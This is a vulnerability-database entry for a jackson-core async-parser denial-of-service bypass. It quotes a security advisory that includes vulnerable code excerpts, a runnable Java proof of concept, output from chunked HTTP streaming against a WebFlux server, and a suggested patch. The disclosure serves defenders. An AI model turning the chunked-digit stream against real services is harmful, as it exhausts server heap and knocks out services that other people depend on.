CVE-2026-68494
highpriority · track · 0EPSS 0.005 · 39 %ileDEEUFRUSEPSS · scored 2026-10-22
The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller. As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes. The equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase. Impact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected. Exploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08).
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–8.7
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (46)
Products and version ranges known to be affected.
advisories (6)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2653FasterXML Jackson: Schwachstelle ermöglicht Denial of ServiceDeutsch2026-08-04csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann eine Schwachstelle in FasterXML Jackson ausnutzen, um einen Denial of Service Angriff durchzuführen.
- WID-SEC-W-2026-3595IBM QRadar SIEM: Mehrere SchwachstellenDeutsch2026-09-27csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM QRadar SIEM ausnutzen, um beliebigen Programmcode auszuführen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen und um Sicherheitsvorkehrungen zu umgehen.
- WID-SEC-W-2026-4056Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye und Jira): Mehrere SchwachstellenDeutsch2026-10-20csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Crucible, Fisheye und Jira ausnutzen, um Daten zu manipulieren, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um einen Cross-Site Scripting Angriff durchzuführen, um Sicherheitsvorkehrungen zu umgehen und um beliebigen Programmcode auszuführen.
- WID-SEC-W-2026-4090Oracle Communications: Mehrere SchwachstellenDeutsch2026-10-20csaf · cert_bundDE
Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Communications ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.
- GHSA-r7wm-3cxj-wff9jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)2026-07-21ghsa · osvUS
## Summary The fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller". As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default). This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path. ## Affected versions Verified on the patched releases: - `com.fasterxml.jackson.core:jackson-core` **2.18.6** - `com.fasterxml.jackson.core:jackson-core` **2.21.1** Structurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable. ## Affected code [`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1. ### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330: ```java if (outPtr >= outBuf.length) { // NOTE: must expand to ensure contents all in a single buffer (to keep // other parts of parsing simpler) outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (++_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr) } ``` ### Site 2 — `_finishNumberIntegralPart` lines 1691-1727: ```java protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod) } int ch = getByteFromBuffer(_inputPtr) & 0xFF; if (ch < INT_0) { if (ch == INT_PERIOD) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } if (ch > INT_9) { if ((ch | 0x20) == INT_e) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } ++_inputPtr; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; } _setIntLength(outPtr+negMod); // <-- validated here _textBuffer.setCurrentLength(outPtr); return _valueComplete(JsonToken.VALUE_NUMBER_INT); } ``` The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length. ### Compare with the fraction path that is correct `_finishFloatFraction` lines 1827-1838: ```java while (loop) { if (ch >= INT_0 && ch <= INT_9) { ++fractLen; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (_inputPtr >= _inputEnd) { _textBuffer.setCurrentLength(outPtr); _setFractLength(fractLen); // <-- VALIDATED return JsonToken.NOT_AVAILABLE; } ch = getNextSignedByteFromBuffer(); } ... } ``` ## Impact Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM. The synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly. CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High. ## Proof of concept Standalone PoC, no Maven required: ``` mkdir poc && cd poc curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar cat > PoC.java <<'EOF' import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.core.async.ByteArrayFeeder; public class PoC { public static void main(String[] args) throws Exception { StreamReadConstraints strict = StreamReadConstraints.builder() .maxNumberLength(1000) .build(); JsonFactory f = new JsonFactoryBuilder() .streamReadConstraints(strict) .build(); // Sanity: synchronous parser rejects 5000-digit int. try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) { while (p.nextToken() != null) { /* drive */ } System.out.println("[-] BUG ABSENT: sync parser accepted"); return; } catch (Exception e) { System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName()); } // Bug: async parser, chunked, no terminator. JsonParser ap = f.createNonBlockingByteArrayParser(); ByteArrayFeeder feeder = (ByteArrayFeeder) ap; byte[] preamble = "{\"v\":".getBytes("UTF-8"); feeder.feedInput(preamble, 0, preamble.length); while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ } byte[] digits = new byte[16 * 1024]; for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9)); for (int c = 0; c < 600; c++) { feeder.feedInput(digits, 0, digits.length); JsonToken t = ap.nextToken(); if (t != JsonToken.NOT_AVAILABLE) { System.out.println("[-] unexpected token: " + t); return; } } System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000"); // Closing the number now finally triggers the validator. feeder.feedInput("}".getBytes("UTF-8"), 0, 1); feeder.endOfInput(); try { while (ap.nextToken() != null) { /* drive */ } } catch (Exception e) { System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]); } ap.close(); } } EOF javac -cp jackson-core-2.18.6.jar PoC.java java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC ``` Observed output against `jackson-core-2.18.6`: ``` [+] sync parser rejected 5000-digit int: StreamConstraintsException [+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000 [*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`) ``` Observed output against `jackson-core-2.21.1`: identical. The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections. ## End-to-end reproduction through real HTTP Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use. Setup: - Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23) - jackson-databind 2.17.2, jackson-core overridden: - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published) - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch - JVM: OpenJDK 17.0.18 - Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()` Endpoint under test exposes the `Flux<DataBuffer>` request body directly to `Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one HTTP chunk per `feedInput` (the same pattern used for any `@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket HTTP/1.1 chunked client streams `{"v":1` then 250 chunks of 200 digit bytes each (50,000 digits total) at 20ms intervals, then writes the closing `}`. VULN — jackson-core 2.18.7: ``` [VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting [VULN-SMALLCHUNK] full POST sent (50000 digits). Response: HTTP/1.1 200 OK ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException: Number value length (50000) exceeds the maximum allowed (1000, ...) ``` Server-side controller trace (250 DataBuffer arrivals elided): ``` [ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1' [ctrl] DataBuffer arrived size=200 ms=42 ... [ctrl] DataBuffer arrived size=199 ms=5993 [ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}' [ctrl] ERR after 6548ms ... Number value length (50000) exceeds ... ``` Server held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with `maxNumberLength=1000` declared. The validator never fires during streaming; it only fires at value-completion when the closing `}` arrives. PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch): ``` [PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe [PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream ``` Server-side controller trace: ``` [ctrl] DataBuffer arrived size=6 ms=129 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=145 [ctrl] DataBuffer arrived size=200 ms=146 [ctrl] DataBuffer arrived size=200 ms=147 [ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...) ``` Patched server raises `StreamConstraintsException` at 155ms after only 5 DataBuffers, exactly when the accumulated digit count crosses `maxNumberLength=1000`. The connection is reset mid-stream rather than the parser silently consuming the rest of the attacker's payload. Side-by-side: | Build | Chunks accepted before exception | Digits buffered | Time to detection | |---|---|---|---| | jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator | | 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed | Note on the default `@RequestBody Mono<JsonNode>` path: that path cannot distinguish the two builds because Spring's `decodeToMono` joins all DataBuffers into one before parsing. The exploitable shape is the streaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` / WebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call), which is also what `Jackson2Tokenizer` uses for any streaming JSON deserialization in WebFlux and Quarkus reactive REST. ## Suggested fix Mirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be: ```diff protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); + _streamReadConstraints.validateIntegerLength(outPtr + negMod); return _updateTokenToNA(); } ``` Note: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown. Apply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total). Alternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient. ## Credit Reported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
- CERTFR-2026-AVI-1336Multiples vulnérabilités dans les produits IBMFrançais2026-10-16vendor · certfrFR
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (21)
External citations — patches, advisories, analysis.
- https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cdcnnvd
- https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641cnnvd
- https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8cnnvd
- https://github.com/FasterXML/jackson-core/pull/1611cnnvd
- https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9cnnvd
- https://github.com/advisories/GHSA-72hv-8253-57qqcnnvd
- https://www.cve.org/CVERecord?id=CVE-2026-18401cnnvd
- https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cdenisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan